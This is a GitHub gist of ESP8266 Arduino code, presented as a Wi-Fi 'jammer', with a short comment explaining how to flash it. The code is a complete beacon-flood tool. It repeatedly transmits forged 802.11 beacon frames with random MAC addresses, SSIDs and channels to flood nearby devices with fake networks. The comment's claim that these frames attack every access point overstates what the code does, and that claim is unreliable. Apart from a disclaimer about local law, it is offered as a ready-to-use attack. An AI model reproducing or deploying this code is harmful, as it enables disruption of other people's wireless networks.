Skip to content

Instantly share code, notes, and snippets.

@jforge
Last active January 18, 2018 14:49
Show Gist options
  • Select an option

  • Save jforge/ea76cea0b47ac89873e48b923bc99d1a to your computer and use it in GitHub Desktop.

Select an option

Save jforge/ea76cea0b47ac89873e48b923bc99d1a to your computer and use it in GitHub Desktop.
// https://create.arduino.cc/projecthub/TheGadgetBoy/wi-fi-jamming-device-based-on-esp8266-48d6f0
/*
Before you make this jammer, take a look at the local law enforcement before use and also use this device at your own risk !!!
After I did some research about the Espressif microcontroller ESP8266, I found that Espressif has written a
wifi_send_pkt_freedom()
function that just sends out whatever packet I’d like to the network.
It also turns out that the ESP8266 will enter monitor mode, where it listens to all WiFi traffic regardless of the MAC address that it’s directed toward.
What do we need to make the jammer ?
We need any ESP8266 based board, ESP8266, HUZZAH, SparkFun Blynk, etc.
And a computer to upload the code to the board.
Uploading the code.
Connect the ESP8266 with you computer then open the IDE and upload the following code:
Power up the ESP board and open you Wi-Fi networks manager and in 5 seconds you should see more than 20 fake open networks.
Each of them aggressively attacking every access point in the area.
*/
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
byte channel;
/******************Beacon Packet buffer**************************/
uint8_t packet[128] = { 0x80, 0x00, 0x00, 0x00,
/*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
/*10*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
/*16*/ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
/*22*/ 0xc0, 0x6c,
/*24*/ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
/*32*/ 0x64, 0x00,
/*34*/ 0x01, 0x04,
/* SSID */
/*36*/ 0x00, 0x06, 0x72, 0x72, 0x72, 0x72, 0x72, 0x72,
0x01, 0x08, 0x82, 0x84,
0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01,
/*56*/ 0x04};
void setup()
{
delay(500);
wifi_set_opmode(STATION_MODE);
wifi_promiscuous_enable(1);
}
void loop()
{
/****************Randomize channel*******************/
channel = random(1,12);
wifi_set_channel(channel);
/****************Randomize SRC MAC*******************/
packet[10] = packet[16] = random(256);
packet[11] = packet[17] = random(256);
packet[12] = packet[18] = random(256);
packet[13] = packet[19] = random(256);
packet[14] = packet[20] = random(256);
packet[15] = packet[21] = random(256);
/**********Randomize SSID(Fixed size 6)*************/
packet[38] = alfa[random(65)];
packet[39] = alfa[random(65)];
packet[40] = alfa[random(65)];
packet[41] = alfa[random(65)];
packet[42] = alfa[random(65)];
packet[43] = alfa[random(65)];
packet[56] = channel;
wifi_send_pkt_freedom(packet, 57, 0);
wifi_send_pkt_freedom(packet, 57, 0);
wifi_send_pkt_freedom(packet, 57, 0);
delay(1);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment